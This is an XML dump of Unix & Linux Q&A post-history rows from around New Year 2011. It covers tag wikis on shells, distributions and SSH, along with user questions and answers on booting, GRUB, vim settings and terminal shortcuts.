  <row Id="11743" PostHistoryTypeId="4" PostId="5262" RevisionGUID="7c073b60-f852-4f7b-af34-413306728f89" CreationDate="2010-12-31T19:24:36.533" UserId="1207" Comment="fixed grammar on the parts that I understood enough to edit.; edited title" Text="Dot Matrix printer setup in Debian" />
  <row Id="11744" PostHistoryTypeId="2" PostId="5282" RevisionGUID="cf61d1f3-8f22-4cea-98c7-caa3752a488b" CreationDate="2010-12-31T20:22:31.547" UserId="3088" Text="For commandline IRC, the most popular or commonly-used one is probably [irssi][1].  It's very robust, very flexible, highly extensible with scripts and layout themes, very well-documented, and has a decent community of users and supporters.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.irssi.org" />
  <row Id="11745" PostHistoryTypeId="2" PostId="5283" RevisionGUID="1fbb44f9-b567-4bcd-8542-6ae666efe96a" CreationDate="2010-12-31T20:36:58.487" UserId="885" Text="The [shell](http://en.wikipedia.org/wiki/Shell_%28computing%29) is a program whose primary role is to enable the user to call *other* programs and make them interact. In a [unix](http://en.wikipedia.org/wiki/Unix_shell) context, a shell is almost always a command-line interpreter.&#xD;&#xA;&#xD;&#xA;More precisely, unless otherwise specified, a unix shell is compatible with the [POSIX / Single UNIX shell specification](http://pubs.opengroup.org/onlinepubs/009695399/idx/shell.html). Most unices have a such a shell available as `/bin/sh`.&#xD;&#xA;&#xD;&#xA;## Shell implementations&#xD;&#xA;&#xD;&#xA;### Main Bourne-style shells&#xD;&#xA;&#xD;&#xA;* The [Bourne shell](http://en.wikipedia.org/wiki/Bourne_shell) is one of the two surviving shells from the old days, now mostly superseded by various shells called ash, ksh and bash. The POSIX specification builds on the Bourne shell.&#xD;&#xA;* [tag:bash] [Bash](http://www.gnu.org/software/bash/) is a Bourne-style, POSIX-compliant shell from the [GNU](http://www.gnu.org/) project. It is the default interactive and scripting shell on most Linux distributions, and available on most other unices. Bash adds many features, both for scripting and for interactive use.&#xD;&#xA;* [tag:ksh] [Ksh](http://kornshell.com/) is a Bourne-style, POSIX-compliant shell. It adds many advanced features, mostly for scripting. Although ksh has been open-source since 2000, it is still less favored in the open source world, and there are several partial ksh clones.&#xD;&#xA;* [tag:zsh] [Zsh](http://www.zsh.org/) is mostly Bourne-style, but with a few syntactic differences. It has a POSIX emulation mode. It has many extra features, both for scripting and for interactive use.&#xD;&#xA;* [tag:busybox] [Busybox](http://www.busybox.net/) is a contains a mostly POSIX-compliant shell with some line edition capabilities together with many simple utilities. It is targetted towards embedded systems.&#xD;&#xA;&#xD;&#xA;### Other well-known shells&#xD;&#xA;&#xD;&#xA;* [tag:csh] The [C shell](http://en.wikipedia.org/wiki/C_shell) is one of the two surviving shells from the old days. It is [not favored for scripting](http://www.faqs.org/faqs/unix-faq/shell/csh-whynot/). The main implementation today is [tcsh](http://www.tcsh.org/). C shells used to have more interactive features than Bourne-style shells, but bash and zsh have now overtaken tcsh.&#xD;&#xA;* [tag:fish] [Fish](http://fishshell.org/) is a relative newcomer inspired by classical and aiming to combine power and simplicity.&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [What are the fundamental differences between the mainstream *NIX shells?](http://unix.stackexchange.com/questions/3320/what-are-the-fundamental-differences-between-the-mainstream-nix-shells)&#xD;&#xA;* [Object-oriented shell for *nix](http://unix.stackexchange.com/questions/4495/object-oriented-shell-for-nix)&#xD;&#xA;&#xD;&#xA;## Interactive use&#xD;&#xA;&#xD;&#xA;These are features commonly found in shells with good interaction support (bash, tcsh, zsh, fish):&#xD;&#xA;&#xD;&#xA;* command line edition, often with configurable key bindings.&#xD;&#xA;* [tag:command-history] a history of commands that can be navigated with the `Up` and `Down` keys, searched, etc.; also a recall mechanism based on expanding sequences beginning with `!`.&#xD;&#xA;* [tag:autocomplete] completion of partially-entered file names, command names, options and other arguments.&#xD;&#xA;* [tag:job-control] management of background processes.&#xD;&#xA;* [tag:prompt] showing a prompt before each command, which many users like to configure.&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [What is the exact difference between a 'terminal', a 'shell', a 'tty' and a 'console'?](http://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-cons)&#xD;&#xA;* [What are your favorite command line features or tricks?](http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-line-features-or-tricks)&#xD;&#xA;* [Colorizing your terminal and shell environment?](http://unix.stackexchange.com/questions/148/colorizing-your-terminal-and-shell-environment)&#xD;&#xA;* [best way to search my shell's history](http://unix.stackexchange.com/questions/541/best-way-to-search-my-shells-history); [How to access the history on the fly in unix?](http://unix.stackexchange.com/questions/1254/how-to-access-the-history-on-the-fly-in-unix)&#xD;&#xA;&#xD;&#xA;## Shell scripting&#xD;&#xA;&#xD;&#xA;Shells have traditional control structures (conditionals, loops) as well as means to combine processes (in particular the [pipe](http://en.wikipedia.org/wiki/Pipe_%28Unix%29)). They have built-in support for a few tasks such as arithmetic and basic string manipulation, but rely on external commands for other things.&#xD;&#xA;&#xD;&#xA;Almost every unix-like system provides a [POSIX](http://pubs.opengroup.org/onlinepubs/009695399/)-compliant shell, usually as `/bin/sh`. So scripts aiming to be portable between unix variants should be written according to that standard, and start with the `#!/bin/sh` [shebang](http://en.wikipedia.org/wiki/Shebang_%28Unix%29) line.&#xD;&#xA;&#xD;&#xA;Many systems have at least ksh or bash available. These provide a number of useful extensions, though not always with the same syntax. Features present in both (and in zsh) include local variables in function, array variables, the double bracket syntax for conditionals (`[[ … ]]`), and (requiring an option to be set in bash and zsh) additional globbing patterns such as `@(…)`.&#xD;&#xA;&#xD;&#xA;A common difficulty in shell programming is quoting. Unlike in most programming languages, almost everything is a string, and quoting is only necessary around special characters. However some cases are tricky. In particular, a common pitfall is that variable and common substitions (`$foo`, `$(foo)`) undergo further expansion and should be protected by double quotes (`&quot;$foo&quot;`, `&quot;$(foo)&quot;`) unless that further expansion is desired.&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [Practical tasks to learn shell scripting.](http://unix.stackexchange.com/questions/490/practical-tasks-to-learn-shell-scripting)&#xD;&#xA;* [$VAR vs ${VAR} and to quote or not to quote](http://unix.stackexchange.com/questions/4899/var-vs-var-and-to-quote-or-not-to-quote)&#xD;&#xA;* [How do I delete a file whose name begins with “--”?](http://unix.stackexchange.com/questions/1519/how-do-i-delete-a-file-whose-name-begins-with)&#xD;&#xA;" />
  <row Id="11746" PostHistoryTypeId="2" PostId="5284" RevisionGUID="b1d5eee0-ac9c-48d9-ab99-f280b3d3ac40" CreationDate="2010-12-31T20:36:58.487" UserId="885" Text="The shell is unix's command-line interface. You can type commands in a shell interactively, or write scripts to automate tasks." />
  <row Id="11747" PostHistoryTypeId="5" PostId="1900" RevisionGUID="6909ea29-5703-40a1-9b8e-d832048a7599" CreationDate="2010-12-31T20:57:31.423" UserId="885" Comment="added 1014 characters in body" Text="In a narrow sense, Linux is a Unix-like [**kernel**](http://unix.stackexchange.com/tags/kernel) started by [Linus Torvalds](http://en.wikipedia.org/wiki/Linus_Torvalds) in 1991.&#xD;&#xA;&#xD;&#xA;In common usage, Linux is an operating system built around the Linux kernel. This operating system includes many other components, notably from the [GNU project](http://www.gnu.org/), so the term [GNU/Linux](http://en.wikipedia.org/wiki/GNU/Linux_naming_controversy) is sometimes used. There are many different [Linux distributions](http://en.wikipedia.org/wiki/Linux_distribution) (see [tag:distros]), including more or less the same programs but with different installers and other customizations.&#xD;&#xA;&#xD;&#xA;The Linux kernel is used in some non-unix-like embedded operating systems, the best known being [Android](http://www.android.com/).&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [Is Linux a Unix?](http://unix.stackexchange.com/questions/4091/is-linux-a-unix)&#xD;&#xA;* [Linux Cell Phones?](http://unix.stackexchange.com/questions/2141/linux-cell-phones)&#xD;&#xA;" />
  <row Id="11748" PostHistoryTypeId="6" PostId="1426" RevisionGUID="acf5fdcf-1e54-4b26-b0f1-0c5f54d27ad4" CreationDate="2010-12-31T21:09:37.877" UserId="885" Comment="edited tags" Text="élinuxàédistrosàébsdàédistributionöchoiceà" />
  <row Id="11749" PostHistoryTypeId="2" PostId="5285" RevisionGUID="c4e391fb-e1b6-48b9-b010-5c70a1ce76ac" CreationDate="2010-12-31T21:11:45.710" UserId="1071" Text="`set formatoptions-=tc`&#xD;&#xA;&#xD;&#xA;See `:help fo-table` for more info.&#xD;&#xA;&#xD;&#xA;Wim's suggestion of `set textwidth=0` should have the same effect, though a lot of annoying filetype plugins will undo that for you. (Ugh.)" />
  <row Id="11750" PostHistoryTypeId="5" PostId="3698" RevisionGUID="9e07e296-9a03-42f6-835b-1747587b20bb" CreationDate="2010-12-31T22:14:53.760" UserId="885" Comment="separated Linux hosted, Linux embedded and BSD; added short descriptions" Text="A [Linux distribution](http://en.wikipedia.org/wiki/Linux_distribution) combines the Linux kernel with other software to make a complete operating system. The term “distribution” is sometimes used for other operating systems.&#xD;&#xA;&#xD;&#xA;### [Linux](http://unix.stackexchange.com/tags/linux) (desktops and servers)&#xD;&#xA;&#xD;&#xA;* [tag:arch-linux] [Arch Linux](http://www.archlinux.org/) aims at keeping simple, light-weight and flexible.&#xD;&#xA;* [tag:centos] [CentOS](http://www.centos.org/) is a community-supported, freely available distribution based on Red Hat&#xD;&#xA;* [tag:debian] [Debian](http://www.debian.org/) has a large number of packages, many supported architectures, a slow release cycle and many derivatives.&#xD;&#xA;* [tag:fedora] [Fedora](http://www.fedoraproject.org/) is a Red Hat-sponsored community-managed distribution with a short release cycle.&#xD;&#xA;* [tag:gentoo] [Gentoo](http://www.gentoo.org/) aims at being highly modular and customizable.&#xD;&#xA;* [tag:mandriva] [Mandriva](http://www.mandriva.com/)&#xD;&#xA;* [tag:opensuse] [OpenSUSE](http://www.opensuse.org/) is a freely available, community-managed distribution sponsored by Novell (SuSE owner).&#xD;&#xA;* [tag:redhat] [tag:rhel] [Red Hat Enterprise Linux](http://www.redhat.com/rhel/) is a commercial Linux distribution. The company sponsors many Linux-related projects.&#xD;&#xA;* [tag:slackware] [Slackware](http://www.slackware.com/) is one of the oldest Linux distributions, once the leader of the field, supplanting the now-defunct SLS.&#xD;&#xA;* [tag:suse] [SuSE Enterprise Linux](http://www.novell.com/linux) is the oldest existing commercial Linux distribution.&#xD;&#xA;* [tag:ubuntu] [Ubuntu](http://www.ubuntu.com/) provides a tightly integrated core aimed at being simple to install and use; it is based on Debian.&#xD;&#xA;&#xD;&#xA;### [Linux](http://unix.stackexchange.com/tags/linux) (lightweight and embedded)&#xD;&#xA;&#xD;&#xA;* [tag:maemo] [Maemo](http://www.maemo.org/) is developed by Nokia for their smartphones; it is to be superseded by MeeGo.&#xD;&#xA;* [tag:meego] [MeeGo](http://meego.com/) targets smartphones and other mobile devices.&#xD;&#xA;* [tag:puppy] [Puppy Linux](http://www.puppylinux.com/) is a lightweight distribution for PCs, focusing on ease of use; it runs from RAM and includes a GUI.&#xD;&#xA;* [tag:slitaz] [SliTaz](http://www.slitaz.org/) is a lightweight distribution for desktop and server PCs.&#xD;&#xA;* [tag:webos] [WebOS](http://developer.palm.com/) is developed by Palm for their PDAs.&#xD;&#xA;* [tag:openwrt] The WRT family of distributions ([DD-WRT](http://www.dd-wrt.com/) [HyperWRT](http://en.wikipedia.org/wiki/HyperWRT), [OpenWRT](http://www.openwrt.org/), [Tomato](http://www.polarcloud.com/tomato), …) targets networking equipment, primarily home routers.&#xD;&#xA;&#xD;&#xA;### [BSD](http://unix.stackexchange.com/tags/bsd)&#xD;&#xA;&#xD;&#xA;* [tag:freebsd] [FreeBSD](http://www.freebsd.org/) has a large array of features and packages.&#xD;&#xA;* [tag:netbsd] [NetBSD](http://www.netbsd.org/) focuses on portability.&#xD;&#xA;* [tag:openbsd] [OpenBSD](http://www.openbsd.org/) focuses on security.&#xD;&#xA;* [tag:osx] [tag:darwin] [Mac OS X](http://www.apple.com/macosx/) is the operating system of Apple computers of today (mobile devices use a derivative called [iOS](http://www.apple.com/ios). It is based on a core derived from FreeBSD called [Darwin](http://developer.apple.com/opensource/).&#xD;&#xA;&#xD;&#xA;### Related reading&#xD;&#xA;&#xD;&#xA;* [tag:distribution-choice] Choosing a distribution given particular requirements&#xD;&#xA;* [How do you choose a distribution?](http://unix.stackexchange.com/questions/1426/how-do-you-choose-a-distribution)&#xD;&#xA;" />
  <row Id="11751" PostHistoryTypeId="5" PostId="3699" RevisionGUID="3f96aba1-9dc3-4892-b92b-86a069cc65be" CreationDate="2010-12-31T22:14:53.930" UserId="885" Comment="separated Linux hosted, Linux embedded and BSD; added short descriptions" Text="Linux comes in the form of many different distributions." />
  <row Id="11752" PostHistoryTypeId="2" PostId="5286" RevisionGUID="ef273335-8c8e-48fd-9ed0-89cfa60836b5" CreationDate="2010-12-31T22:30:26.717" UserId="2567" Text="I don't know if you can do it directly with a vanilla kernel.&#xD;&#xA;&#xD;&#xA;But it should be quite strait forward to write a simple driver that uses a &quot;file&quot; in /proc to export the memory content you would like to see.&#xD;&#xA;&#xD;&#xA;Then you can read your &quot;file&quot; with a simple script and have access to that memory.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11753" PostHistoryTypeId="2" PostId="5287" RevisionGUID="7504f326-245b-44c2-8a14-ba8fe744da7d" CreationDate="2010-12-31T22:47:16.160" UserId="885" Text="[SSH](http://en.wikipedia.org/wiki/Secure_Shell) is a protocol for running commands on a remote computer.&#xD;&#xA;&#xD;&#xA;### Implementations&#xD;&#xA;&#xD;&#xA;* [Dropbear](http://en.wikipedia.org/wiki/Dropbear_%28software%29) is a lightweight implementation of SSH targeted at embedded devices.&#xD;&#xA;* [OpenSSH](http://www.openssh.org/), developed by the OpenBSD project, is by far the most common implementation of SSH, both server-side and client-side, in the unix world. If someone mentions SSH in a unix context, assume OpenSSH unless told otherwise.&#xD;&#xA;* [PuTTY](http://www.chiark.greenend.org.uk/~sgtatham/putty/) is an SSH client mostly found on Windows.&#xD;&#xA;&#xD;&#xA;### Related programs&#xD;&#xA;&#xD;&#xA;* [AutoSSH](http://www.harding.motd.ca/autossh/): Automatically restart SSH sessions and tunnels&#xD;&#xA;* [Corkscrew](http://www.agroman.net/corkscrew/): tunnel through HTTP proxies&#xD;&#xA;* [SSHFS](http://fuse.sourceforge.net/sshfs.html): mount remote filesystems over SSH&#xD;&#xA;&#xD;&#xA;### Troubleshooting&#xD;&#xA;&#xD;&#xA;If public key authentication doesn't work: make sure that on the server side, your home directory (`~`), the `~/.ssh` directory, and the `~/.ssh/authorized_keys` file, are all writable *only by their owner*. In particular, none of them must be writable by the group (even if the user is alone in the group). `chmod 755` or `chmod 700` is ok, `chmod 770` is not.&#xD;&#xA;&#xD;&#xA;What to check when something is wrong:&#xD;&#xA;&#xD;&#xA;* Run `ssh -vvv` to see a lot of debugging output. If you post a question asking why you can't connect with ssh, include this output (you may want to anonymize host and user names).&#xD;&#xA;* If you can, check the server logs, typically in `/var/log/daemon.log` or `/var/log/auth.log` or similar.&#xD;&#xA;* If public key authentication isn't working, check the permissions again, especially the group bit (see above).&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* [Keep SSH Sessions running after disconnection.](http://unix.stackexchange.com/questions/479/keep-ssh-sessions-running-after-disconnection)&#xD;&#xA;* [SSH easily copy file to local system.](http://unix.stackexchange.com/questions/2857/ssh-easily-copy-file-to-local-system)&#xD;&#xA;* [Quoting in ssh $host $FOO and ssh $host “sudo su user -c $FOO” type constructs](http://unix.stackexchange.com/questions/4770/quoting-in-ssh-host-foo-and-ssh-host-sudo-su-user-c-foo-type-constructs)&#xD;&#xA;* [What steps does the system go through when handling an SSH connection?](http://unix.stackexchange.com/questions/4055/what-steps-does-the-system-go-through-when-handling-an-ssh-connection)&#xD;&#xA;* [How can I pause up a running process over ssh, disown it, associate it to a new screen shell and unpause it?](http://unix.stackexchange.com/questions/4034/how-can-i-pause-up-a-running-process-over-ssh-disown-it-associate-it-to-a-new-s)&#xD;&#xA;" />
  <row Id="11754" PostHistoryTypeId="2" PostId="5288" RevisionGUID="cf471408-bd2c-477e-8829-478b2babf549" CreationDate="2010-12-31T22:47:16.160" UserId="885" Text="SSH (Secure SHell) is a protocol for running commands on a remote computer." />
  <row Id="11755" PostHistoryTypeId="2" PostId="5289" RevisionGUID="9278148f-47fb-4bff-a6eb-2004c6daf35c" CreationDate="2011-01-01T05:29:38.720" UserId="1100" Text="This is a great resource: http://www.zegeniestudios.net/ldc/index.php" />
  <row Id="11756" PostHistoryTypeId="2" PostId="5290" RevisionGUID="30c43e7d-d5bf-460b-84af-3cc5a16b1c9d" CreationDate="2011-01-01T08:44:10.013" UserId="688" Text="Does it have [Resource leveling][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Resource_leveling" />
  <row Id="11757" PostHistoryTypeId="1" PostId="5290" RevisionGUID="30c43e7d-d5bf-460b-84af-3cc5a16b1c9d" CreationDate="2011-01-01T08:44:10.013" UserId="688" Text="What is the most advanced project management FLOSS?" />
  <row Id="11758" PostHistoryTypeId="3" PostId="5290" RevisionGUID="30c43e7d-d5bf-460b-84af-3cc5a16b1c9d" CreationDate="2011-01-01T08:44:10.013" UserId="688" Text="éopensourceöprojectsà" />
  <row Id="11759" PostHistoryTypeId="4" PostId="4133" RevisionGUID="ab26b0f9-5c83-4054-9f1f-4f4e0e7def80" CreationDate="2011-01-01T08:45:00.700" UserId="688" Comment="edited title" Text="What is the most advanced image editing FLOSS?" />
  <row Id="11760" PostHistoryTypeId="5" PostId="406" RevisionGUID="26560822-6908-410e-8792-8724249034b6" CreationDate="2011-01-01T09:13:14.783" UserId="688" Comment="aesthetics" Text="I'm not a huge podcast guy but you might want to try [TuxRadar][1] It's one of the better Linux ones I've heard.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tuxradar.com" />
  <row Id="11761" PostHistoryTypeId="2" PostId="5291" RevisionGUID="2d55813d-d359-4ccb-a69c-7952fdfa6cf7" CreationDate="2011-01-01T12:23:15.217" UserId="3211" Text="Usually BIOSes have an option to schedule a time to which to boot at. Is there a Unix/Linux interface to specify the scheduled boot?" />
  <row Id="11762" PostHistoryTypeId="1" PostId="5291" RevisionGUID="2d55813d-d359-4ccb-a69c-7952fdfa6cf7" CreationDate="2011-01-01T12:23:15.217" UserId="3211" Text="How can you schedule a computer to boot at a specific time?" />
  <row Id="11763" PostHistoryTypeId="3" PostId="5291" RevisionGUID="2d55813d-d359-4ccb-a69c-7952fdfa6cf7" CreationDate="2011-01-01T12:23:15.217" UserId="3211" Text="ébootàéschedulingà" />
  <row Id="11764" PostHistoryTypeId="2" PostId="5292" RevisionGUID="8b7e339d-9174-4a05-bacf-f9d51c427dce" CreationDate="2011-01-01T13:24:55.360" UserId="3211" Text="From several BSD operating systems' documentation, there is a requirement for it to be booted off a primary partition. Is there any BSD that can be booted off a logical partition in some indirect manner? If not, what is/are the technical reason(s)?" />
  <row Id="11765" PostHistoryTypeId="1" PostId="5292" RevisionGUID="8b7e339d-9174-4a05-bacf-f9d51c427dce" CreationDate="2011-01-01T13:24:55.360" UserId="3211" Text="Is there a BSD operating system that can be booted off a logical drive partition?" />
  <row Id="11766" PostHistoryTypeId="3" PostId="5292" RevisionGUID="8b7e339d-9174-4a05-bacf-f9d51c427dce" CreationDate="2011-01-01T13:24:55.360" UserId="3211" Text="ébootàépartitionàébsdà" />
  <row Id="11767" PostHistoryTypeId="2" PostId="5293" RevisionGUID="aa0fb294-7e97-4b21-a526-44a18ebd600a" CreationDate="2011-01-01T13:45:21.013" UserId="3211" Text="In terminal emulation applications, pressing &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;Left&lt;/kbd&gt; / &lt;kbd&gt;Right&lt;/kbd&gt; arrows jumps from one word to the previous or next one. Is it possible to have the same functionality in a Linux console, whether it is in text or in framebuffer modes?&#xD;&#xA;&#xD;&#xA;In my configuration, the &lt;kbd&gt;CTRL&lt;/kbd&gt; + arrow keys are transformed into escaped character sequences and not interpreted." />
  <row Id="11768" PostHistoryTypeId="1" PostId="5293" RevisionGUID="aa0fb294-7e97-4b21-a526-44a18ebd600a" CreationDate="2011-01-01T13:45:21.013" UserId="3211" Text="When using a Linux console, is it possible to jump to the next or previous word on the command line with CTRL + Right or Left arrow keys?" />
  <row Id="11769" PostHistoryTypeId="3" PostId="5293" RevisionGUID="aa0fb294-7e97-4b21-a526-44a18ebd600a" CreationDate="2011-01-01T13:45:21.013" UserId="3211" Text="éterminalàékeyboardöshortcutsà" />
  <row Id="11770" PostHistoryTypeId="2" PostId="5294" RevisionGUID="61e36823-172b-4b5e-b651-1f3a9e0c6523" CreationDate="2011-01-01T14:27:18.417" UserId="3402" Text="You can set vim as your command line editor and then hit ESC and jump around vim style (forward, back, end, $, 0, etc)" />
  <row Id="11771" PostHistoryTypeId="2" PostId="5295" RevisionGUID="bccc68d0-894a-4f80-b19a-ec75bb72a5f5" CreationDate="2011-01-01T14:29:27.957" UserId="885" Text="I can think of three hurdles:&#xD;&#xA;&#xD;&#xA;* The OS itself. As far as I know, this not a problem, since all BSDs store their own partition table (the `a`, `b`, `c`, … partitions) independently from the PC partition table (the slices in BSD terminology).&#xD;&#xA;&#xD;&#xA;* The bootloader. This can be a problem, because bootloaders operate under very tight code size constraints, and every feature is an added burden. But once the bootloader gets to the point where it reaches the BSD partition data, you've won. [Grub](http://www.gnu.org/software/grub/) can [boot a number of BSDs](http://www.gnu.org/software/grub/manual/grub.html#Supported-kernels), but not all versions of Grub can boot all versions of *BSD.&#xD;&#xA;&#xD;&#xA;* The installer. Here there's no significant size constraint, but supporting logical partitions does add to the complexity. Still, even if the installer automation doesn't support it, you might get somewhere by issuing the right shell commands at the right time.&#xD;&#xA;&#xD;&#xA;Looking at specific variants:&#xD;&#xA;&#xD;&#xA;* FreeBSD: The [installation manual](http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/install-steps.html) is silent on the topic. There is a [success report](http://forums.freebsd.org/showthread.php?p=19102#post19102); see also [this discussion](http://unix.derkeiler.com/Newsgroups/comp.unix.bsd.freebsd.misc/2007-11/msg00111.html).&#xD;&#xA;&#xD;&#xA;* NetBSD: The [installation manual](http://www.netbsd.org/docs/guide/en/chap-inst.html) states that “NetBSD installs in one of the four primary BIOS partitions”. Supposedly [you can](http://mail-index.netbsd.org/port-i386/2005/01/11/0004.html) install and boot on a logical partition, if you figure out how.&#xD;&#xA;&#xD;&#xA;* OpenBSD can boot on a logical partition [since 4.4](http://www.openbsd.org/plus44.html), though the installation manual says that [“extended partitions may not work”](http://www.openbsd.org/faq/faq4.html#Multibooting).&#xD;&#xA;" />
  <row Id="11772" PostHistoryTypeId="2" PostId="5296" RevisionGUID="f91e848f-c8ac-4cc8-8b8d-e398dd492c8b" CreationDate="2011-01-01T14:44:42.350" UserId="885" Text="[NVRAM WakeUp](http://sourceforge.net/projects/nvram-wakeup/) claims to do it; I've never tried. It may not work on all BIOSes, and if it fails a likely consequence is to overwrite a different critical setting that could make your computer unbootable, so use with caution.&#xD;&#xA;&#xD;&#xA;If you only suspend the computer, [APM tools](http://alumnit.ca/~apenwarr/apmd/) can set a wake-up time with [`apmsleep`](http://linux.die.net/man/1/apmsleep). I've successfully used my laptop as an alarm clock with this tool. But it can't wake up a powered off computer.&#xD;&#xA;&#xD;&#xA;If your computer supports ACPI (all modern ones do), and if ACPI actually works on your OS (that, on the other hand, is not a given), there is a standard interface for specifying a wake-up time. Under Linux, `date -u +%s -d 'tomorrow 6:00' &gt;/sys/class/rtc/rtc0/wakealarm` should do the trick. There is a good guide on [ACPI wakeup](http://www.mythtv.org/wiki/ACPI_Wakeup) on the MythTV wiki.&#xD;&#xA;&#xD;&#xA;If you have another powered-on device on the local network, you can send your computer a [wake-on-LAN](http://en.wikipedia.org/wiki/Wake_on_LAN) packet. Most modern BIOSes support this (you may need to be enable it in the BIOS settings). The [`wakeonlan`](http://gsd.di.uminho.pt/jpo/software/wakeonlan) utility can send such packets.&#xD;&#xA;" />
  <row Id="11773" PostHistoryTypeId="2" PostId="5297" RevisionGUID="034eeb41-c400-41bf-b4e1-913c07ada77c" CreationDate="2011-01-01T15:38:46.270" UserId="2881" Text="Hi,&#xD;&#xA;&#xD;&#xA;does anybody have a suggestion for how to move the root partition to a new drive and set up grub2 to boot on that drive? I seem to have no luck instructing grub-mkconfig what it is I want to do (e.g. chroot'int into my new root just confuses all the scripts).&#xD;&#xA;&#xD;&#xA;**Background** I am running Debian Squeeze on a headless low-power NAS. My current setup is `/` on `sda0` and `/boot` on `sde0` (a CF card): I needed the separate `/boot` because `sd[a-d]` need to do a delayed spin-up. Now I've found an old 2.5&quot; IDE disk to use as `/` including `/boot` to allow me to spin all the big disks down. &#xD;&#xA;&#xD;&#xA;**What I've tried** Basically I went&#xD;&#xA;&#xD;&#xA;    mount -o rw /dev/sdf5 /mnt/newroot&#xD;&#xA;    cp -ax / /mnt/newroot&#xD;&#xA;    cp -ax /boot /mnt/newroot/boot&#xD;&#xA;&#xD;&#xA;Then I tried &#xD;&#xA; &#xD;&#xA;    chroot /mnt/newroot&#xD;&#xA;    update-grub&#xD;&#xA;&#xD;&#xA;But that failed with grub asking if root was mounted.&#xD;&#xA;Then I did a half-hearted attempt at setting up `/mnt/newroot/grub/grub.cfg` to find the kernel image on `sdf5`, followed by a `grub-install --root-directory=/mnt/newroot /dev/sdf`. But this just landed me a grub rescue prompt when I tried booting from `sdf`.&#xD;&#xA;&#xD;&#xA;My backup plan is to just reinstall, so a bonus question (no checkmarks for this one): What do I have to do to get my lvm2 and mdadm config across? Is it all stored in the filesystems (and will it be automatically discovered), or do I need to take of it myself?" />
  <row Id="11774" PostHistoryTypeId="1" PostId="5297" RevisionGUID="034eeb41-c400-41bf-b4e1-913c07ada77c" CreationDate="2011-01-01T15:38:46.270" UserId="2881" Text="Debian/Grub2: Moving root partition to new drive?" />
  <row Id="11775" PostHistoryTypeId="3" PostId="5297" RevisionGUID="034eeb41-c400-41bf-b4e1-913c07ada77c" CreationDate="2011-01-01T15:38:46.270" UserId="2881" Text="édebianàégrub2à" />
  <row Id="11776" PostHistoryTypeId="2" PostId="5298" RevisionGUID="44dee786-8d35-468c-8b16-0bbdee5e0439" CreationDate="2011-01-01T15:49:04.137" UserId="2661" Text="Two links from me:&#xD;&#xA;&#xD;&#xA; - [Sourcetrunk][1] - in each episode author presents some useful free software applications. Even some old episodes are worth to listen - sometime you could find some interesting application...&#xD;&#xA; - [The Linux Action Show!][2] - it's been a long time since last time when I listened this one, but if I remember correctly it was news about Linux software and hardware...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sourcetrunk.com/&#xD;&#xA;  [2]: http://www.jupiterbroadcasting.com/?cat=4" />
  <row Id="11777" PostHistoryTypeId="2" PostId="5299" RevisionGUID="5242bdc0-6064-4e08-afea-ada6472d9425" CreationDate="2011-01-01T16:04:14.517" UserId="2661" Text="You can merge avi files with `avimerge` from [Transcode][1] package:&#xD;&#xA;&#xD;&#xA;    avimerge -i file1.avi file2.avi -o output.avi&#xD;&#xA;&#xD;&#xA;I know that it isn't GUI tool, but to have GUI you could use that script:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    file1=`kdialog --getopenfilename ~/ \*.avi`&#xD;&#xA;    file2=`kdialog --getopenfilename ~/ \*.avi`&#xD;&#xA;    output=`kdialog --getsavefilename ~/ \*.avi`&#xD;&#xA;    avimerge -i $file1 $file2 -o $output&#xD;&#xA;&#xD;&#xA;It uses `kdialog` so it's for KDE users, GNOME users should modify it to use Zenity...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tcforge.berlios.de/" />
  <row Id="11778" PostHistoryTypeId="2" PostId="5300" RevisionGUID="880dd2ae-467d-4326-9efe-d95eaba6f60c" CreationDate="2011-01-01T16:15:25.473" UserId="305" Text="I need easily updatable troubleshooting LiveUSB distro. By troubleshooting I mean that it should not have nothing fancy (X is used o display gparted etc.) but should have access to file archivers/undeleting etc. tools.&#xD;&#xA;&#xD;&#xA;Unfortunately most LiveUSB distros are modified LiveCD ones so they assume sequential and slow base device (as opposed to USB flash disk which is fast compared to CD, have 0 latency and have much number of writes to it). The only method of updating is overwriting the previous content.&#xD;&#xA;&#xD;&#xA;I'd like to have 'easy' package manager on distro to allow installing tools I need and from time to time an update which would not destroy any customisation. On the other hand I still would like to have autodetection scripts etc." />
  <row Id="11779" PostHistoryTypeId="1" PostId="5300" RevisionGUID="880dd2ae-467d-4326-9efe-d95eaba6f60c" CreationDate="2011-01-01T16:15:25.473" UserId="305" Text="Easily updatable troubleshooting LiveUSB distro" />
  <row Id="11780" PostHistoryTypeId="3" PostId="5300" RevisionGUID="880dd2ae-467d-4326-9efe-d95eaba6f60c" CreationDate="2011-01-01T16:15:25.473" UserId="305" Text="édistrosàéliveöusbà" />
  <row Id="11781" PostHistoryTypeId="2" PostId="5301" RevisionGUID="33270a43-c327-40d2-90eb-1554944348d0" CreationDate="2011-01-01T16:23:15.530" UserId="1946" Text="Emacs-style shortcuts `Alt+F`, `Alt+B` work by default with all [readline][1]-powered command line programs, like shells.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/readline/" />
